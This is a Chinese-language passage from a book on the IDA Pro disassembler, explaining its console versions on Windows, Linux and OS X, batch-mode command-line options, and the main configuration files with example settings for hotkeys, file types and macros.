图形是分析任何二进制文件的有力工具。如果你习惯于以纯文本格式查看反汇编代码,那么可能需要一些时间来适应使用基于图形的显示。在 IDA 中,通常只需要意识到在文本显示中可用的所有信息在图形显示中仍然可用;然而,格式可能有所不同。例如,交叉引用在图形显示中变成了连接基本块的边。

选择合适的图形来查看在优化图形分析的使用中起着重要作用。如果你想知道某个特定函数是如何被调用的,那么你可能对函数调用或交叉引用图感兴趣。如果你想知道某个特定指令是如何被到达的,那么你可能对控制流图更感兴趣。

用户过去在使用 IDA 的图形功能时遇到的某些挫败感,直接归因于wingraph32应用程序及其相关图形的不灵活性。这些问题部分通过引入基于图形的解汇编模式得到了解决。然而,IDA 主要是一个解汇编器,图形生成并不是其主要目的。对专门基于图形分析工具感兴趣的读者可能希望调查专为该目的设计的应用程序,例如由 Halvar Flake 的公司 Zynamics 生产的 BinNavi,([63]),以及([64])。


^([63]) 请参阅 www.zynamics.com/binnavi.html

^([64]) 注意,Zynamics 于 2011 年 3 月被谷歌收购。

第十章:IDA 的多面性

无标题图片

多年来,Windows GUI 版本一直是 IDA 中的明星。自从 IDA 版本 6.0 发布以来,这种情况已经不再如此,因为 Linux 和 OS X 用户现在可以享受适用于其平台的 IDA GUI 版本。然而,这个新版本并没有改变这样一个事实:使用 IDA 有几种替代方法。IDA 的原始版本实际上是一个 MS-DOS 控制台应用程序,而控制台版本至今仍可在所有平台上使用。凭借内置的远程调试功能,IDA 是一个强大的多平台分析和调试工具。

除了其交互式功能之外,IDA 在其所有版本中都提供批量处理模式,以方便大量文件的自动化处理。有效使用 IDA 进行批量处理的关键是了解每个版本能做什么和不能做什么,并选择适合您需求的 IDA 版本。在本章中,我们将讨论 IDA 的控制台版本以及如何充分利用 IDA 的批量处理功能。

控制台模式下的 IDA

所有 IDA 控制台版本的核心是一个名为TVision的 Borland 开发的控制台 I/O 库,它已被移植到多个平台,包括 Windows、Linux 和 Mac OS X 等。Hex-Rays 在其 IDA 下载页面上向付费 IDA 客户提供其当前 TVision 移植的源代码。^([65])

在所有平台上使用通用库可以保持控制台版本的用户界面一致。然而,在平台之间迁移时,有一些不便之处需要处理,例如鼠标支持程度、调整大小以及将快捷键传递给 IDA 应用程序的能力。我们将在以下针对特定平台的章节中讨论一些问题,并在可能的情况下提供解决方案。

控制台模式的共同特性

如“控制台模式”这个术语所暗示的,IDA 的基于文本版本都是在某种终端或壳中运行的。这些控制台对调整大小和使用鼠标的支持程度可能不同,这会导致你需要学会适应的限制。这些限制的类型取决于你使用的平台和终端程序。

控制台用户界面包括一条菜单栏,位于显示窗口的顶部行,用于显示菜单选项和状态,以及一条位于显示窗口底部行的常用操作栏,类似于基于文本的工具栏。可用的操作可以通过热键激活,或者当支持时,通过点击鼠标。几乎在 GUI 版本中可用的每个命令在控制台版本中以某种形式可用,并且大多数热键关联也得到了保留。

IDA 显示窗口占据了上菜单栏和下命令栏之间的空间。然而,一个常见的限制,无论你使用的是哪种终端程序,当屏幕限制在约 80 x 25 个字符且没有图形时,显示空间就很小。因此,IDA 的控制台版本默认只打开两个显示窗口:反汇编窗口和消息窗口。为了近似 GUI 版本中找到的标签显示窗口,IDA 使用 TVision 库的重叠窗口功能来处理文本窗口,并将 F6 键(代替窗口标题标签)分配为在可用的打开窗口之间循环。每个窗口按顺序编号,窗口 ID 显示在窗口的左上角。

当你的控制台支持鼠标操作时,你可以通过点击并拖动显示窗口的右下角到期望的大小来调整 IDA 显示窗口的大小。要重新定位显示窗口,你点击并拖动显示窗口的顶部边框。如果没有鼠标支持,你可以通过 Window ▸ Resize/Move (ctrl-F5) 来移动和调整单个显示窗口的大小,然后使用箭头键来移动,使用 shift-arrow 键来调整活动窗口的大小。如果你的终端程序可以使用鼠标调整大小,IDA 会识别新的终端大小,并相应地扩展(或缩小)以填充它。

没有图形功能时,集成基于图形的反汇编模式不可用,且在反汇编列表窗口的左侧边栏中不显示控制流箭头。然而,GUI 版本中所有可用的子视图在控制台版本中也都可用。与 GUI 版本一样,大多数子视图可以通过视图 ▸ 打开子视图菜单访问。可用的显示方式中一个主要区别是,没有作为独立子视图的十六进制转储。相反,您可以使用选项 ▸ 转储/正常视图(ctrl-F4)在反汇编和十六进制转储之间切换。为了同时打开反汇编和十六进制视图,您必须打开第二个反汇编窗口(视图 ▸ 打开子视图 ▸ 反汇编)并将新视图切换为十六进制转储。不幸的是,没有方法将新的十六进制转储与现有的反汇编视图同步。

支持鼠标操作后,在反汇编中导航的方式与 GUI 版本基本相同,双击任何名称都会跳转到相应的地址。或者,将光标置于名称上并按回车键,显示会跳转到相应的命名位置(这在 GUI 版本中也同样适用)。当光标位于栈变量名称上时按回车键,会打开关联函数的详细栈帧视图。在没有鼠标支持的情况下,菜单的工作方式与许多其他控制台应用程序类似,采用 alt-x的菜单导航方法,其中x是当前屏幕上高亮的字符。

Windows 控制台特定内容

Windows cmd.exe(Windows 9x系列的command.exe)终端并不非常灵活,但 IDA 的控制台版本对其支持相当好。IDA 的 Windows 控制台版本命名为 idaw.exe,而 GUI 版本命名为 idag.exe。64 位二进制文件(通过 IDA 的高级版本提供)的相应版本分别命名为 idaw64.exeidag64.exe

为了使 IDA 的鼠标支持在 Windows 中工作,您必须确保您运行 IDA 的终端中已禁用快速编辑模式。要将快速编辑模式配置为终端属性之一,右键单击终端的标题栏并选择属性;然后在选项选项卡上取消选择快速编辑模式。您必须在启动 IDA 之前完成此操作,因为当 IDA 运行时,该更改不会被识别。

与在 X Windows 下运行的 Linux 终端不同,cmd.exe不能通过鼠标放大窗口来扩展。仅在 Windows 中,IDA 的控制台版本提供了窗口 ▸ 设置视频模式菜单选项,将cmd.exe调整到六种固定终端尺寸之一,最大为 255 x 100。

虽然在反汇编窗口中没有提供图形模式,但 IDA 的外部图形选项是可用的。从视图 ▸ 图形菜单中选择将导致 IDA 启动配置的图形查看器(如qwingraph)以显示结果图形。对于 IDA 的 Windows 版本,可以同时打开多个图形,并在图形打开时继续使用 IDA。

Linux 控制台特定内容

Linux 版本的 IDA 控制台版本被称为idal(或分析 64 位二进制文件时使用的idal64)。在 IDA 6.0 之前,Linux 和 OS X 的控制台版本被包含在您的 IDA 发行版的标准组件中。因此,当您将这些控制台版本复制到您的 Linux 或 OS X 平台时,您还必须复制您的 IDA 密钥文件(ida.key),以确保您的控制台版本能够正常运行。请注意,这要求您至少在 Windows 机器上安装一次 IDA,即使您从未打算运行 Windows 版本。在类 Unix 系统中,您可以选择将您的密钥文件复制到\(HOME/.idapro/ida.key*。如果您不创建它,IDA 将在您第一次启动 IDA 时自动创建 IDA 个人设置目录(*\)HOME/.idapro)。

IDA 6.x的安装过程要简单得多。因为 IDA 6.x是为特定平台购买的,所以您平台上的安装程序会负责将 GUI 版本、控制台版本和您的 IDA 密钥文件安装到合适的位置。

Linux 版本的基本导航与 Windows 控制台版本中的导航相似;本节中讨论了几个 Linux 特有的问题。用户对 Linux 终端程序的选择与他们对 Linux 发行版的总体选择一样多样化。IDA 包含一个名为tvtuning.txt的文件,其中提供了一些关于如何配置各种终端类型的详细信息,包括远程 Windows 终端客户端,如 SecureCRT 和 PuTTY。

当您使用 Linux 终端程序时,您将面临的最大挑战之一是确保您的快捷键序列能够完全传递到 IDA,而不是被终端程序本身捕获。例如,alt-F 会打开 IDA 的文件菜单还是您的控制台文件菜单?处理这个问题的两种选择是找到一种终端程序,其快捷键序列不会与 IDA 重叠(或者可以配置为不重叠),或者编辑 IDA 的配置文件以将命令重新映射到您的终端未使用的快捷键。如果您选择重新映射快捷键,您可能希望更新每台您使用 IDA 的计算机上的快捷键映射,这样您就不必记住每个位置上生效的是哪种映射。您还可能发现与使用默认映射的其他 IDA 用户交互很困难。

如果你选择使用标准的 Linux 文本显示,你的 IDA 控制台尺寸将是固定的,你的鼠标支持将取决于你使用 GPM(Linux 控制台鼠标服务器)。如果你没有使用 GPM 进行鼠标支持,那么在启动 IDA 时,你应该指定 TVision 的 noGPM 选项,如下所示:

# TVOPT=noGPM ./idal [file to disassemble]

在控制台模式下,颜色选择相当有限,你可能需要调整你的颜色设置(选项 ▸ 颜色),以确保所有文本都可见,并且不会与背景混合。有四个预定义的颜色方案可供选择,你可以自定义用于反汇编各个部分的颜色(16 种选择)。

如果你正在运行 X,那么你可能在运行 KDE 的 konsole、Gnome 的 gnome-terminal、直接的 xterm,或者终端的其他变体。除了 xterm 之外,大多数终端都提供自己的菜单和相关的快捷键,这些快捷键可能与 IDA 的快捷键分配重叠或不重叠。因此,xterm 对于运行 IDA 来说不是一个坏的选择,尽管它可能不是最视觉上吸引人的。KDE 的 konsole 是我们首选的 Linux 控制台,因为它提供了最佳的外观、最少的快捷键冲突和最平滑的鼠标性能。

为了解决围绕各种 X Windows 控制台中键盘和鼠标使用的一些问题,Jeremy Cooper 开发了 TVision 库的本地 X11 端口^([66])。使用这个修改后的 TVision 版本,你可以在一个自己的 X 窗口中启动 IDA,而不是消耗整个控制台。编译 Cooper 的 TVision 端口会产生一个用于 idal 的共享 TVision 库 libtvision.so 的替代品。在安装新库后,当你尝试运行 IDA 时,可能会收到一个错误消息,表明无法加载 VGA 字体。如果发生这种情况,你需要安装一个 VGA 字体,并让 X 服务器知道它在哪。一个合适的 VGA 字体可以在 gilesorr.com/bashprompt/xfonts/(下载 vgasabvga)找到。使用本地 X11 端口的另一个有趣特性是,你可以将 X11 窗口转发到另一台机器。因此,你可以在 Linux 上运行 IDA,但将 X11 窗口(当然是通过 ssh)转发到 Mac。

对于使用 Hex-Rays 提供的 TVision 库远程访问基于 Linux 的 IDA 安装,我们建议你配置你的终端软件以模拟 xterm(有关更多信息,请参阅 tvtuning.txt 和你的终端仿真器的文档)然后根据 tvtuning.txt 中的说明启动 IDA。例如,你必须指定 TVOPT=xtrack,以便在使用 SecureCRT 作为终端仿真器时,鼠标可以与 IDA 一起工作。

你当然可以选择导出你的 TVOPT 设置,从而消除每次启动 IDA 时都需要指定它们的需要。有关 TVision 可用选项的完整概述,请参阅 TVision 源分布中的 linux.cpp

在 Linux 上,只有在您在窗口环境中运行 IDA 并且已将GRAPH_VISUALIZER变量在ida.cfg中配置为指向合适的图形渲染程序时,才能从控制台版本访问外部图形视图^([67])。IDA 6.0 之前的版本只能使用 GDL 生成图形。您可以安装一个 GDL 查看器,如 aiSee^([68)),并通过编辑 IDA 的主配置文件/cfg/ida.cfg来配置 IDA 以启动新应用程序。配置选项GRAPH_VISUALIZER指定用于查看 IDA 的 GDL 图形(所有传统模式图形)的命令。默认设置可能如下所示:

GRAPH_VISUALIZER        = "qwingraph.exe -remove -timelimit 10"

remove选项请求qwingraph删除输入文件,这在显示临时文件时很有用。timelimit选项指定尝试生成美观图形所需的时间(秒数)。如果在此时间内无法整齐地布局图形,qwingraph将切换到“快速且丑陋”^([69])布局算法。从 IDA 6.0 开始,GRAPH_VISUALIZER选项被包含在一个条件块中,为 Windows 和非 Windows 平台提供单独的设置。如果您在非 Windows 平台上编辑ida.cfg,请确保您正在编辑文件的正确部分。如果您已安装了 aiSee 之类的 GDL 查看器,则需要编辑GRAPH_VISUALIZER以指向您选择的查看器。对于 aiSee 的典型安装,这可能会导致以下结果:

GRAPH_VISUALIZER  = "/usr/local/bin/aisee"

注意,始终最好指定 GDL 查看器的完整路径,以确保当 IDA 尝试启动它时能够找到。最后,由于qwingraph是开源软件,因此 IDA 旧版本的用户可以自由地从 Hex-Rays 下载qwingraph的源代码(见第九章),构建它,并将其集成到他们的 IDA 安装中。

OS X 控制台特定信息

IDA 的 OS X 控制台版本与 Linux 版本同名(idalidal64)。与 Linux 和 Windows 控制台版本一样,OS X 版本依赖于 TVision 库来支持控制台 I/O。

Mac 键盘的布局与 PC 键盘不同,这在运行 IDA 的 Mac 版本时带来了一些挑战,主要是因为 Mac 的 option/alt 键在处理应用程序菜单时不像 PC 的 alt 键那样工作。

尝试运行 IDA 的明显选择是 Mac 的终端应用程序。当使用终端启动 IDA 时,请确保将选项键配置为 IDA 中的 alt 键。这样做允许键盘访问 IDA 的 alt 键快捷方式,例如所有主要的 IDA 菜单(例如,alt-F 用于文件菜单)。如果您不选择此选项,您将不得不使用 esc 键代替 alt;因此,esc-F 会弹出文件菜单。由于 esc 在 IDA 中具有后退或关闭窗口的功能,这种方法不推荐使用。图 10-1 显示了终端检查器对话框,该对话框通过在终端活动时选择 Terminal ▸ Preferences 访问。选择 使用选项键作为 meta 键 复选框,使选项键的行为类似于 alt 键。

Terminal 的一个潜在替代方案是 iTERM,^([70]),它允许选项键的 alt 功能并启用鼠标支持。另一个许多开发者似乎喜欢的终端是 gnome 终端,它已被移植^([71]) 到 OS X 上的 X11。由于这需要安装 XCODE 和 X11,我们不会更多地提及其存在。使用默认的 Terminal 或 iTERM 应该对大多数用户来说足够了。

在 OS X 上运行 IDA 的另一种方法是安装 X11(作为可选包包含在您的 OS X 安装盘中)和 Jeremy Cooper 修改的 TVision 库(libtvision.dylib for OS X),以便将 IDA 作为原生 X11 应用程序运行。您可能希望将 /usr/X11R6/bin 添加到您的系统 PATH 中(在 /etc/profile 中编辑 PATH),以便更容易访问与 X11 相关的二进制文件。

Mac OS X 终端键盘设置对话框

图 10-1. Mac OS X 终端键盘设置对话框

在此配置中,可以从 xterm 启动 IDA,并且它将在自己的窗口中执行,具有完整的鼠标功能。然而,选项/alt 键的问题仍然存在,因为 X11 将此键视为 Mode_switch 并未能将键传递给 IDA。幸运的是,X11 允许您通过使用 xmodmap 工具来重新映射键。一个解决方案是在您的家目录中创建(或编辑)一个名为 .Xmodmap 的文件(例如 /Users/idabook/.Xmodmap),包含以下命令:

clear Mod1
keycode 66 = Alt_L
keycode 69 = Alt_R
add Mod1 = Alt_L
add Mod1 = Alt_R

默认的 X11 启动脚本(/etc/X11/xinit/xinitrc)包含在每次启动 X11 时读取 .Xmodmap 的命令。如果您已经创建了您自己的 .xinitrc 文件,该文件覆盖了默认的 xinitrc,您应该确保它包含以下命令之类的命令;否则,您的 .Xmodmap 文件将不会被处理。

 xmodmap $HOME/.Xmodmap

最后,您需要修改 X11 的默认设置,以防止系统覆盖您修改的键映射。图 10-2 显示了 X11 首选项对话框。

X11 Preferences on OS X

图 10-2. X11 Preferences on OS X

为了防止系统覆盖您的键盘映射,您必须取消选中中间选项:跟随系统键盘布局。一旦您做出此更改,重新启动 X11,您的修改后的键盘设置应生效,使 alt 键可用于访问 IDA 的菜单。您可以通过使用 xmodmap 打印当前键盘修饰符列表来验证 X11 是否识别 alt 键,如下所示:

idabook:~ idabook$ xmodmap
  xmodmap:  up to 2 keys per modifier, (keycodes in parentheses):

  shift       Shift_L (0x40),  Shift_R (0x44)
  lock        Caps_Lock (0x41)
  control     Control_L (0x43),  Control_R (0x46)
 mod1        Alt_L (0x42),  Alt_R (0x45)
  mod2        Meta_L (0x3f)
  mod3
  mod4
  mod5

如果 mod1 没有列出 Alt_LAlt_R,如图所示 X11 Preferences on OS X,则您的键盘映射尚未更新,在这种情况下,您应重新运行前面代码中列出的 xmodmap 命令 X11 Preferences on OS X


^([65]) 请参阅 www.hex-rays.com/idapro/idadown.htm.

^([66]) 请参阅 simon.baymoo.org/universe/ida/tvision/.

^([67]) 请参阅 IDA Graphing。

^([68]) GDL 查看器 aiSee 可用于许多平台,并且对非商业用途免费。您可以在 www.aisee.de/ 找到它。

^([69]) 请参阅 wingraph32qwingraph 源分布中的 timelm.c

^([70]) 请参阅 iterm.sourceforge.net/.

^([71]) 请参阅 www.macports.org/.

使用 IDA 的批处理模式

IDA 的所有版本都可以以批处理模式执行,以便方便自动化处理任务。使用批处理模式的主要目的是启动 IDA,运行特定的 IDC 脚本,并在脚本完成后终止。在批处理模式执行期间,有多个命令行选项可用于控制执行的处理。

IDA 的 GUI 版本在执行时不需要控制台,这使得它们很容易集成到几乎任何类型的自动化脚本或包装程序中。在批处理模式下运行时,IDA 的 GUI 版本不会显示任何图形组件。运行 Windows 控制台版本 (idaw.exeidaw64.exe) 会生成完整的控制台显示,批处理完成后会自动关闭。可以通过将输出重定向到空设备(cmd.exe 中的 NUL,cygwin 中的 /dev/null)来抑制控制台显示,如下所示:

C:\Program Files\Ida>idaw -B some_program.exe > NUL

IDA 的批处理模式由以下列出的命令行参数控制:

  • -A 选项使 IDA 以自主模式运行,这意味着不会显示需要用户交互的对话框。(如果您从未点击过 IDA 的许可协议,则尽管有此开关,许可协议对话框仍会显示。)

  • -c 选项会导致 IDA 删除与命令行上指定的文件关联的任何现有数据库,并生成一个全新的数据库。

  • -S 选项用于指定 IDA 在启动时应该执行哪个 IDC 脚本。要执行 myscript.idc,语法是 -Smyscript.idcS 和脚本名称之间没有空格)。IDA 在 /idc 目录中搜索命名的脚本。如果您已正确安装 IDAPython,您也可以在这里指定一个 Python 脚本。

  • -B 选项调用批处理模式,相当于在执行时向 IDA 提供了 -A -c -Sanalysis.idc。随 IDA 一起提供的 analysis.idc 脚本简单地等待 IDA 分析命令行上指定的文件,然后输出反汇编的汇编列表(*.asm 文件),并关闭 IDA 以保存和关闭新创建的数据库。

-S 选项是批处理模式的关键,因为只有当指定的脚本导致 IDA 终止时,IDA 才会终止。如果脚本没有关闭 IDA,则所有选项简单地组合起来以自动化 IDA 启动过程。有关 IDC 脚本编写的讨论请见 第十五章。

由于 IDA 的 Linux 和 OS X 版本使用的 TVision 库存在限制,批处理执行必须在 TTY 控制台中完成。这使得输出重定向和后台处理等简单操作变得不可能。幸运的是,TVision 的最新版本识别 TVHEADLESS 环境变量,允许控制台输出(stdout)被重定向,如下所示:

# TVHEADLESS=1 ./idal -B input_file.exe > /dev/null

为了在后台执行完全脱离控制台,需要额外重定向 stdinstderr

Ilfak 在他的一篇博客文章中讨论了批处理模式:hexblog.com/2007/03/on_batch_analysis.html。在众多内容中,他详细介绍了如何超越调用单个脚本,并讨论了如何在批处理模式下执行 IDA 插件。

摘要

虽然 IDA 的 GUI 版本仍然是功能最全面的版本,但控制台模式替代方案和批处理功能为 IDA 用户提供了在 IDA 的自动化分析能力周围创建复杂分析解决方案的巨大灵活性。

到目前为止,我们已经涵盖了 IDA 的所有基本功能,现在是时候转向更高级的功能了。在接下来的几章中,我们将介绍一些 IDA 更有用的配置选项,并展示一些旨在提高 IDA 二进制分析能力的附加实用程序。

第三部分. 高级 IDA 使用

第十一章. 定制 IDA

无标题图片

在使用 IDA 一段时间后,你可能已经开发了一些你希望每次打开新数据库时都作为默认设置的偏好设置。你更改的一些选项可能已经从会话传递到会话,而其他选项似乎每次加载新数据库时都需要重置。在本章中,我们将探讨你可以通过配置文件和菜单访问的选项来修改 IDA 行为的各种方式。我们还将检查 IDA 存储各种配置设置的位置,并讨论数据库特定设置和全局设置之间的差异。

配置文件

IDA 的大部分默认行为由各种配置文件中的设置控制。大部分配置文件存储在/cfg目录中,一个值得注意的例外是插件配置文件,它位于/plugins/plugins.cfgplugins.cfg将在第十七章中介绍)。虽然你可能注意到主配置目录中有许多文件,但大多数文件是由处理器模块使用的,并且仅在分析特定 CPU 类型时适用。三个主要的配置文件是ida.cfgidagui.cfgidatui.cfg。适用于 IDA 所有版本的选项通常可以在ida.cfg中找到,而idagui.cfgidatui.cfg分别包含针对 GUI 版本和文本模式版本的 IDA 的特定选项。

主要配置文件:ida.cfg

IDA 的主要配置文件是ida.cfg。在启动过程的早期,该文件被读取以分配各种文件扩展名的默认处理器类型,并调整 IDA 的内存使用参数。一旦指定了处理器类型,文件就会被第二次读取以处理额外的配置选项。ida.cfg中包含的选项适用于 IDA 的所有版本,无论使用的是哪种用户界面。

ida.cfg中值得关注的一般选项包括内存调整参数(VPAGESIZE)、是否创建备份文件(CREATE_BACKUPS)以及外部图形查看器的名称(GRAPH_VISUALIZER)。

有时在处理非常大的输入字段时,IDA 可能会报告没有足够的内存来创建新的数据库。在这种情况下,增加VPAGESIZE然后重新打开输入文件通常足以解决问题。

许多控制反汇编行格式的选项也包含在 ida.cfg 文件中,包括通过“选项”▸“常规”可访问的许多选项的默认值。这些包括显示的指令字节数的默认值(OPCODE_BYTES)、指令应缩进的距离(INDENTATION)、是否应显示每个指令的堆栈指针偏移(SHOW_SP),以及与反汇编行一起显示的最大交叉引用数(SHOW_XREFS)。其他选项控制图形模式下的反汇编行格式。

全局选项指定了命名程序位置(与堆栈变量相对)的最大名称长度,该选项包含在 ida.cfg 文件中,并称为 MAX_NAMES_LENGTH。此选项默认为 15 个字符,当您输入的名称超过当前限制时,IDA 会生成一个警告信息。默认长度保持较小,因为一些汇编器无法处理超过 15 个字符的名称。如果您不打算将 IDA 生成的反汇编代码再次通过汇编器运行,那么您可以安全地提高此限制。

用户分配的名称中允许使用的字符列表受 NameChars 选项控制。默认情况下,此列表允许字母数字字符和四个特殊字符 _$?@。如果您在为位置或堆栈变量分配新名称时遇到 IDA 对您希望使用的字符的抱怨,那么您可能需要向 NameChars 集合中添加额外的字符。例如,如果您想使点 (.) 字符在 IDA 名称中使用合法,则需要修改 NameChars 选项。您应避免在名称中使用分号、冒号、逗号和空格字符,因为这些字符可能会引起混淆,因为这些字符通常被认为是各种反汇编行部分的分隔符。

最后两个值得注意的选项会影响 IDA 解析 C 头文件时的行为(参见第八章)。C_HEADER_PATH 选项指定了 IDA 将搜索以解决 #include 依赖的目录列表。默认情况下,列出了 Microsoft Visual Studio 常用的目录。如果您使用不同的编译器或您的 C 头文件位于非标准位置,您应该考虑编辑此选项。C_PREDEFINED_MACROS 选项可以用来指定 IDA 将无论是否在解析 C 头文件时遇到它们,都将包含的默认预处理器宏列表。此选项提供了一种有限的解决方案,用于处理可能定义在您无法访问的头文件中的宏。

ida.cfg的第二部分包含针对各种处理器模块的特定选项。此文件部分中可用的唯一文档是以注释的形式(如果有)与每个选项相关联。在ida.cfg中指定的处理器特定选项通常决定了 IDA 初始文件加载对话框中处理器选项部分的默认设置。

处理ida.cfg的最后一步是搜索一个名为/cfg/idauser.cfg的文件。如果存在,^([72)),则该文件被视为ida.cfg的扩展,文件中的任何选项都将覆盖ida.cfg中的相应选项。如果您不习惯编辑ida.cfg,则应创建idauser.cfg并将您希望覆盖的所有选项添加到其中。此外,idauser.cfg提供了将自定义选项从一个 IDA 版本转移到另一个版本的最简单方法。例如,使用idauser.cfg,您每次升级 IDA 副本时无需重新编辑ida.cfg。相反,只需在升级时将现有的idauser.cfg复制到新的 IDA 安装目录即可。

GUI 配置文件:idagui.cfg

专门针对 IDA GUI 版本的配置项位于它们自己的文件中:/cfg/idagui.cfg。此文件大致分为三个部分:默认 GUI 行为、键盘热键映射以及文件扩展配置(用于文件▸打开对话框)。在本节中,我们将讨论一些更有趣的选项。有关完整选项列表,请参阅idagui.cfg,其中大多数选项都附有描述其目的的注释。

IDA 的 Windows GUI 版本允许使用HELPFILE选项指定一个辅助帮助文件。在此处指定的任何文件都不会替换 IDA 的主帮助文件。此选项的预期目的是提供可能适用于特定逆向工程情况的相关补充信息。当指定了补充帮助文件时,按 Ctrl-F1 将导致 IDA 打开指定的文件并搜索与光标下单词匹配的主题。如果没有找到匹配项,则将您带到帮助文件的索引。例如,除非您计算自动注释,否则 IDA 不会提供有关反汇编中指令助记符的任何帮助信息。如果您正在分析 x86 二进制文件,您可能希望在命令行上有一个 x86 指令参考。如果您能找到一个恰好包含每个 x86 指令主题的帮助文件,^([73)),那么任何指令的帮助信息都只需一个热键即可获得。关于补充帮助文件的唯一注意事项是,IDA 仅支持较旧的 WinHelp 风格帮助文件 (.hlp)。IDA 不支持作为辅助帮助文件使用编译的 HTML 帮助文件 (.chm)。

注意

Microsoft Windows Vista 及以后的版本不提供对 32 位 WinHelp 文件的本地支持,因为 WinHlp32.exe 文件不随这些操作系统一起提供。有关更多信息,请参阅 Microsoft 知识库文章 917607^([74])。

关于使用 IDA 常见的问题之一是:“我如何使用 IDA 修补二进制文件?” 简而言之,答案是“你不能”,但我们将在 第十四章 中推迟讨论这个问题的细节。你可以用 IDA 修补数据库来修改指令或数据,几乎可以按照你想要的方式。一旦我们讨论了脚本(第十五章 中讨论。

你 IDA 工作区底部的单行输入框被称为 IDA 命令行。你可以使用 DISPLAY_COMMAND_LINE 选项来控制是否显示此字段。默认情况下,命令将被显示。如果你屏幕空间紧张,并且你预计不需要输入单行脚本,那么关闭此功能可以帮助你在 IDA 显示中恢复一小部分空间。请注意,此命令行不允许你像在命令提示符中输入一样执行操作系统命令。

idagui.cfg 的热键配置部分用于指定 IDA 动作与热键序列之间的映射。在许多情况下,热键重新分配很有用,包括通过热键提供额外的命令、将默认序列更改为更容易记忆的序列,或者更改可能与操作系统或您的终端应用程序使用的其他序列冲突的序列(主要适用于 IDA 的控制台版本)。

几乎所有 IDA 通过菜单项或工具栏按钮提供的选项都列在本节中。不幸的是,命令的名称往往不与 IDA 菜单上使用的文本相匹配,因此可能需要一些努力来确定确切的配置文件选项映射到特定的菜单选项。例如,跳转 ▸ 跳转到问题的命令等同于 idagui.cfg 中的 JumpQ 选项(该选项恰好与其热键:ctrl-Q 相匹配)。此外,虽然许多命令都有匹配的注释来描述其目的,但许多命令完全没有描述,因此你必须根据配置文件中的名称来确定命令的行为。一个可能有助于你弄清楚配置文件动作与哪个菜单项相关联的技巧是在 IDA 的帮助系统中搜索该动作。此类搜索的结果通常会导致描述动作对应菜单项的描述。

以下几行展示了 idagui.cfg 中的示例热键分配。

"Abort"                =      0               // Abort IDA, don't save changes
"Quit"                 =      "Alt-X"         // Quit to DOS, save changes

第一行是 IDA 的 Abort 命令的热键分配,在这种情况下没有分配热键。未引用的值 0 表示没有为命令分配热键。第二行显示了 IDA 的 Quit 动作的热键分配。热键序列指定为一个命名键序列的引号字符串。idagui.cfg 中存在许多热键分配的示例。

idagui.cfg 文件的最后一部分将文件类型描述与其关联的文件扩展名相联系,并指定了哪些文件类型将在文件 ▸ 打开对话框中的“文件类型”下拉列表中列出。配置文件中已经描述了大量的文件类型;然而,如果你经常使用配置文件中没有的文件类型,你可能需要编辑文件类型列表,将你的文件类型添加到列表中。FILE_EXTENSIONS 选项描述了 IDA 所知的所有文件关联。以下是一般文件类型关联的示例。

CLASS_JAVA,  "Java Class Files",                           "*.cla*;*.cls"

该行包含三个以逗号分隔的组件:关联的名称(CLASS_JAVA)、描述和文件名模式。文件名模式中允许使用通配符,并且可以通过分号分隔来指定多个模式。第二种类型的文件关联允许将几个现有的关联组合成一个单独的分类。例如,以下行将所有名称以 EXE_ 开头的关联组合成一个名为 EXE 的单个关联。

EXE,         "Executable Files",                           EXE_*

注意,在这种情况下,模式指定符没有被引号括起来。我们可以定义自己的文件关联如下:

IDA_BOOK,    "Ida Book Files",                             "*.book"

我们可以为关联选择任何我们喜欢的名称,只要它尚未被使用;然而,仅仅将新的关联添加到 FILE_EXTENSIONS 列表中并不足以使该关联出现在文件 ▸ 打开对话框中。DEFAULT_FILE_FILTER 选项列出了将在文件 ▸ 打开对话框中出现的所有关联的名称。为了完成此过程并使我们的新关联可用,我们需要将 IDA_BOOK 添加到 DEFAULT_FILE_FILTER 列表中。

idauser.cfg 文件类似,idagui.cfg 中的最后一行包含一个指令,用于包含一个名为 /cfg/idauserg.cfg 的文件。如果您不习惯编辑 idagui.cfg,那么您应该创建 idauserg.cfg 并添加您希望覆盖的所有选项。

控制台配置文件:idatui.cfg

对于 IDA 控制台版本的用户来说,idatui.cfgidagui.cfg 的对应文件。这个文件在布局和功能上与 idagui.cfg 非常相似。在众多方面中,热键的指定方式与 idagui.cfg 中完全相同。由于这两个文件非常相似,我们在这里只详细说明它们之间的差异。

首先,DISPLAY_PATCH_SUBMENUDISPLAY_COMMAND_LINE 选项在控制台版本中不可用,并且不包括在 idatui.cfg 中。控制台版本中使用的文件 ▸ 打开对话框比 GUI 版本中使用的对话框简单得多,因此 idagui.cfg 中可用的所有文件关联命令在 idatui.cfg 中都缺失。

另一方面,一些选项仅适用于 IDA 的控制台版本。例如,您可以使用 NOVICE 选项让 IDA 以初学者模式启动,在这种模式下,它会禁用一些更复杂的功能,以便更容易学习。初学者模式的一个显著区别是几乎完全缺乏子视图。

控制台用户更有可能依赖于热键序列的使用。为了便于自动化常见的热键序列,控制台模式的 IDA 提供了键盘宏定义语法。在 idatui.cfg 中可以找到几个示例宏;然而,放置您开发的任何宏的理想位置是 /cfg/idausert.cfgidauserg.cfg 的控制台版本)。默认 idatui.cfg 中包含的一个示例宏可能看起来如下(在实际的 idatui.cfg 中,此宏已被注释掉):

 MACRO   "Alt-H"        // this sample macro jumps to "start" label
  {
          "G"
          's' 't' 'a' 'r', 't'
          "Enter"
  }

定义通过MACRO关键字引入,后跟要关联的快捷键 ,宏序列本身在花括号中指定,为键名字符串或字符的序列,这些键名字符串或字符本身也可以代表快捷键序列。前一个示例宏,通过按 alt-H 激活,使用 G 快捷键打开转到地址对话框,逐个字符地将标签start输入到对话框中,然后使用回车键关闭对话框。请注意,我们不能使用“start”语法来输入符号名称,因为这将被视为快捷键名称并导致错误。

注意

宏和初学者模式在 IDA 的 GUI 版本中不可用。

关于配置文件选项的最后一项说明,重要的是要知道,如果 IDA 在解析配置文件时遇到任何错误,它会立即终止并显示错误消息,尝试描述问题的性质。只有在错误条件被纠正后,才能启动 IDA。


^([72]) 此文件不随 IDA 一起提供。如果用户希望 IDA 能够找到它,他们必须自己生成此文件。

^([73]) Pedram Amini 对这个 WinHelp32 文件深信不疑:pedram.redhive.com/openrce/opcodes.hlp

^([74]) 请参阅 support.microsoft.com/kb/917607

IDA 的其他配置选项

